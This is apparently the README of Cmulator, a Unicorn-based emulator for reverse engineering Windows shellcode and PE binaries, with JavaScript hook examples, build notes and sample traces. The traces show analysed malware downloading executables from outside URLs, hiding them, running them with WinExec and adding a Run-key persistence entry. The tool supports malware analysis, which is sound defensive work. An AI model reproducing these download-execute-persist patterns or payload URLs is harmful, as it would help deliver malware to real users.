Cmulator is ( x86 - x64 )
Scriptable Reverse Engineering Sandbox Emulator for shellcode and PE binaries
Based on Unicorn & Capstone Engine & javascript .
💬 This is the last supported Pascal version and new code base (C/C++) will be in here Cmulator.
- i386
- x86-64
- PE, PE+
- shellcodes
- there's a bug in Unicorn modifying data near EIP
if anyone can help please check unicorn#820
- Simulated GDT & Segments.
- Simulated TEB & PEB structures for both Shellcodes and PE.
- Simulated LDR Table & Data.
- Manages Image and Stack memory.
- Evaluates functions based on DLL exports.
- Trace all Executed API ( good for Obfuscated PE).
- Displays HexDump with Strings based on referenced memory locations.
- Patching the Memory.
- Custom API hooks using Javascript (scripting).
- Handle SEH (still need more work).
- [+] Hook Address.
- [+] Apiset map resolver
-
V0.3 Beta
- This is the last supported Pascal version and new code base (C/C++) will be in here https://github.com/Cmulator/Cmulator .
-
v0.2 beta
- [+] Add Hook Address
- [+] Implementing Api schema forworder
- [+] Change disassembler from Capstone to Zydis Engine
- [√] improvements for SEH handling
- [√] improvements with JS to API handle
- [√] Improve API detection by address or name or ordinal
-
v0.1 beta
- Init version
var GetModuleFileName = new ApiHook();
/*
DWORD WINAPI GetModuleFileName(
_In_opt_ HMODULE hModule,
_Out_ LPTSTR lpFilename,
_In_ DWORD nSize
);
*/
GetModuleFileName.OnCallBack = function (Emu, API, ret) {
Emu.pop(); // ret
var hModule = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop();
var lpFilename = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop();
var nSize = Emu.isx64 ? Emu.ReadReg(REG_R8D) : Emu.pop();
var mName = Emu.GetModuleName(hModule);
var Path = 'C:\\pla\\' + mName;
var len = API.IsWapi ? Emu.WriteStringW(lpFilename,Path) : Emu.WriteStringA(lpFilename,Path);
// null byte - mybe needed maybe not :D - i put it anyway :V
API.IsWapi ? Emu.WriteWord(lpFilename + (len * 2),0) : Emu.WriteByte(lpFilename+len,0);
print("{0}(0x{1}, 0x{2}, 0x{3}) = '{4}'".format(
API.name,
hModule.toString(16),
lpFilename.toString(16),
nSize.toString(16),
Path
));
// MS Docs : the return value is the length of the string
Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, len);
Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret);
return true; // true if you handle it false if you want Emu to handle it and set PC .
};
GetModuleFileName.install('kernel32.dll', 'GetModuleFileNameA');
GetModuleFileName.install('kernel32.dll', 'GetModuleFileNameW');
var _vsnprintf = new ApiHook();
/*
int _vsnprintf(
char *buffer,
size_t count,
const char *format,
va_list argptr
);
*/
_vsnprintf.OnCallBack = function (Emu, API, ret) {
// save the param to args
// args is an Array and it's implemented in every ApiHook .
_vsnprintf.args[0] = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + 4);
// i think implementing this in JS is hard
// so just let the library handle it :D
return true; // True so we continue to the lib code .
};
// OnExit Callback ..
_vsnprintf.OnExit = function(Emu,API){
// Read Our Saved Param .
var buffer = _vsnprintf.args[0];
warn("OnExit : _vsnprintf() = '{0}' ".format(
Emu.ReadStringA(buffer)
));
}
_vsnprintf.install('msvcrt.dll', '_vsnprintf');
AntiDebug Downloader
Coldzer0 @ OSX $./Cmulator -f ../../samples/AntiDebugDownloader.exe -q
Cmulator Malware Analyzer - By Coldzer0
Compiled on : 2018/09/29 - 01:51:51
Target CPU : i386 & x86_x64
Unicorn Engine : v1.0
Cmulator : v0.1
"AntiDebugDownloader.exe" is : x32
Mapping the File ..
[+] Unicorn Init done .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn
[---------------- PE Info --------------]
[*] File Name : AntiDebugDownloader.exe
[*] Image Base : 0000000000400000
[*] Address Of Entry : 0000000000001000
[*] Size Of Headers : 0000000000000400
[*] Size Of Image : 0000000000004000
[---------------------------------------]
[---------------------------------------]
[ Fixing PE Imports ]
[*] File Name : AntiDebugDownloader.exe
[*] Import 3 Dlls
[+] Fix IAT for : kernel32.dll
[+] Fix IAT for : urlmon.dll
[+] Fix IAT for : advapi32.dll
[---------------------------------------]
[+] Segments & (TIB - PEB) Init Done .
[+] Loading JS Main Script : ../API.JS
Initiating 52 Libraries ...
[>] Run AntiDebugDownloader.exe
0x401005 : IsDebuggerPresent = 0
GetWindowsDirectoryA(403000, 260) = 10 - 'C:\Windows'
0x40103d : URLDownloadToFileA(0, 'https://www.dropbox.com/s/fr3z6axblxfcmq8/UrlDownLoadtoFile.exe?dl=0', 'C:\Windows', 0, 0)
0x401051 : RegCreateKeyA(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Run', 0x403159) = 144
0x40106f : RegSetValueExA(144, 'ransomware', 0, REG_SZ, 'C:\Windows', 260)
0x40107a : RegCloseKey()
ExitProcess(0x0)
26 Branches - Executed in 9 ms
Cmulator Stop >> last Error : OK (UC_ERR_OK)
Press Enter to Close ¯\_(ツ)_/¯
x64 Down & Exec ShellCode
Coldzer0 @ OSX $./Cmulator -f ../../samples/Shellcodes/down_exec64.sc -sc -x64
Cmulator Malware Analyzer - By Coldzer0
Compiled on : 2018/09/29 - 03:07:11
Target CPU : i386 & x86_x64
Unicorn Engine : v1.0
Cmulator : v0.1
"sc64.exe" is : x64
Mapping the File ..
[+] Unicorn Init done .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn
[---------------- PE Info --------------]
[*] File Name : sc64.exe
[*] Image Base : 0000000000400000
[*] Address Of Entry : 0000000000001000
[*] Size Of Headers : 0000000000000400
[*] Size Of Image : 0000000000002000
[---------------------------------------]
[*] Writing Shellcode to memory ...
[√] Shellcode Written to Unicorn
[---------------------------------------]
[ Fixing PE Imports ]
[*] File Name : sc64.exe
[*] Import 0 Dlls
[---------------------------------------]
[+] Segments & (TIB - PEB) Init Done .
[+] Loading JS Main Script : ../API.JS
Initiating 25 Libraries ...
[>] Run sc64.exe
LoadLibraryA('urlmon') = 0x70714000
GetProcAddress(0x70714000,'URLDownloadToFileA') = 0x707ADB10
0x40111b : URLDownloadToFileA(0, 'http://192.168.10.129/pl.exe', 'C:\\Users\\Public\\p.exe', 0, 2489880)
SetFileAttributesA('C:\\Users\\Public\\p.exe',0x2)
WinExec('C:\\Users\\Public\\p.exe', 0)
FatalExit(0x0)
95 Steps - Executed in 295 ms
Cmulator Stop >> last Error : OK (UC_ERR_OK)
Press Enter to Close ¯\_(ツ)_/¯
x32 Down & Exec ShellCode
Coldzer0 @ OSX $./Cmulator -f ../../samples/Shellcodes/URLDownloadToFile.sc -sc
Cmulator Malware Analyzer - By Coldzer0
Compiled on : 2018/09/29 - 03:07:11
Target CPU : i386 & x86_x64
Unicorn Engine : v1.0
Cmulator : v0.1
"sc32.exe" is : x32
Mapping the File ..
[+] Unicorn Init done .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn
[---------------- PE Info --------------]
[*] File Name : sc32.exe
[*] Image Base : 0000000000400000
[*] Address Of Entry : 0000000000001000
[*] Size Of Headers : 0000000000000400
[*] Size Of Image : 0000000000002000
[---------------------------------------]
[*] Writing Shellcode to memory ...
[√] Shellcode Written to Unicorn
[---------------------------------------]
[ Fixing PE Imports ]
[*] File Name : sc32.exe
[*] Import 0 Dlls
[---------------------------------------]
[+] Segments & (TIB - PEB) Init Done .
[+] Loading JS Main Script : ../API.JS
Initiating 25 Libraries ...
[>] Run sc32.exe
GetProcAddress(0x70300000,'LoadLibraryA') = 0x703149D7
LoadLibraryA('urlmon.dll') = 0x7065a000
GetProcAddress(0x7065A000,'URLDownloadToFileA') = 0x706F08D0
GetProcAddress(0x70300000,'WinExec') = 0x70392C21
0x40113b : URLDownloadToFileA(0, 'https://rstforums.com/fisiere/dead.exe', 'dead.exe', 0, 0)
WinExec('dead.exe', 1)
3041 Steps - Executed in 415 ms
Cmulator Stop >> last Error : OK (UC_ERR_OK)
Press Enter to Close ¯\_(ツ)_/¯
Show SEH handling (PELock Obfuscator)
Coldzer0 @ OSX $./Cmulator -f ../../samples/obfuscated/obfuscated.exe -ex
Cmulator Malware Analyzer - By Coldzer0
Compiled on : 2018/09/29 - 03:07:11
Target CPU : i386 & x86_x64
Unicorn Engine : v1.0
Cmulator : v0.1
"obfuscated.exe" is : x32
Mapping the File ..
[+] Unicorn Init done .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn
[---------------- PE Info --------------]
[*] File Name : obfuscated.exe
[*] Image Base : 0000000000400000
[*] Address Of Entry : 000000000000A4BD
[*] Size Of Headers : 0000000000001000
[*] Size Of Image : 000000000000F000
[---------------------------------------]
[---------------------------------------]
[ Fixing PE Imports ]
[*] File Name : obfuscated.exe
[*] Import 2 Dlls
[+] Fix IAT for : KERNEL32.dll
[+] Fix IAT for : USER32.dll
[---------------------------------------]
[+] Segments & (TIB - PEB) Init Done .
[+] Loading JS Main Script : ../API.JS
Initiating 44 Libraries ...
[>] Run obfuscated.exe
EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x0, data size = 1, data value = 0x0
0x403031 Exception caught SEH 0x25FEEC - Handler 0x409215
ZwContinue -> Context = 0x25F97C
EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x0, data size = 4, data value = 0x0
0x4056EC Exception caught SEH 0x25FEE8 - Handler 0x402516
ZwContinue -> Context = 0x25F978
EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x0, data size = 4, data value = 0x0
0x401974 Exception caught SEH 0x25FEE4 - Handler 0x4019CE
ZwContinue -> Context = 0x25F974
MessageBoxA(0, 'Hello world', 'Visit us at www.pelock.com', 64)
EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x0, data size = 4, data value = 0x0
0x403A49 Exception caught SEH 0x25FEF4 - Handler 0x40A17B
ZwContinue -> Context = 0x25F984
EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x0, data size = 4, data value = 0x0
0x40AD64 Exception caught SEH 0x25FEF4 - Handler 0x40B461
ZwContinue -> Context = 0x25F984
ExitProcess(0x0)
7387 Steps - Executed in 118 ms
Cmulator Stop >> last Error : OK (UC_ERR_OK)
Press Enter to Close ¯\_(ツ)_/¯
Hide SEH handling (PELock Obfuscator)
Coldzer0 @ OSX $./Cmulator -f ../../samples/obfuscated/obfuscated.exe
Cmulator Malware Analyzer - By Coldzer0
Compiled on : 2018/09/29 - 03:07:11
Target CPU : i386 & x86_x64
Unicorn Engine : v1.0
Cmulator : v0.1
"obfuscated.exe" is : x32
Mapping the File ..
[+] Unicorn Init done .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn
[---------------- PE Info --------------]
[*] File Name : obfuscated.exe
[*] Image Base : 0000000000400000
[*] Address Of Entry : 000000000000A4BD
[*] Size Of Headers : 0000000000001000
[*] Size Of Image : 000000000000F000
[---------------------------------------]
[---------------------------------------]
[ Fixing PE Imports ]
[*] File Name : obfuscated.exe
[*] Import 2 Dlls
[+] Fix IAT for : KERNEL32.dll
[+] Fix IAT for : USER32.dll
[---------------------------------------]
[+] Segments & (TIB - PEB) Init Done .
[+] Loading JS Main Script : ../API.JS
Initiating 44 Libraries ...
[>] Run obfuscated.exe
MessageBoxA(0, 'Hello world', 'Visit us at www.pelock.com', 64)
ExitProcess(0x0)
7387 Steps - Executed in 116 ms
Cmulator Stop >> last Error : OK (UC_ERR_OK)
Press Enter to Close ¯\_(ツ)_/¯
- Memory Manager - Next version
- Checking for Bug & fixing them 👌🏻
- Api schema forwarder still need more improvements and testing
- PC (RIP - EIP) Hook.
- improving exception handling.
- Native Plugins & API Hook Libs.
- Api schema forwarder.
- Add Memory Manager.
- Sysenter / Syscall Global Hook in JS.
- Control TEB/PEB in JS.
- Interactive debug shell.
- Add Assembler.
- Implement Threading.
- Freepascal >= v3
- Unicorn Engine
- Zydis Engine
- QuickJS Engine
- Install Lazarus IDE
- You will find all needed libraries in "libraries" Folder ;)
- Now Build
git clone https://github.com/Coldzer0/Cmulator.git
Open "Cmulator.lpi" with Lazarus IDE
Then Hit Compile :D
Oh Before that you need to select the Build Mode
From Laz IDE Select
Projects -> Project Options -> Compiler Options
and Select the Mode for your OS .
Or Just Download From Releases
touch config.json
set the dll folders to where you stored your windows dlls and JS Main File .
{
"system": {
"win32": "../win_dlls/x32_win7",
"win64": "../win_dlls/x64_win7",
"Apiset": "../Apiset.json"
},
"JS": {
"main": "../API.JS"
}
}
./Cmulator -file samples/AntiDebug.exe
this work inspired by :
- unicorn-libemu-shim - The Main Reason i started this Project ❤ .
- LIBEMU - Hooking Methods .
- SCDBG - The InterActive Debugger .
- xori - I Used there Method To Build LDR .
Used OpenSource Projects :
- QuickJS Engine
- Unicorn Engine
- Zydis Engine
- PE Parser
- Pse PE Parse
- generics collections
- Super Object (JSON)
Resouces Used :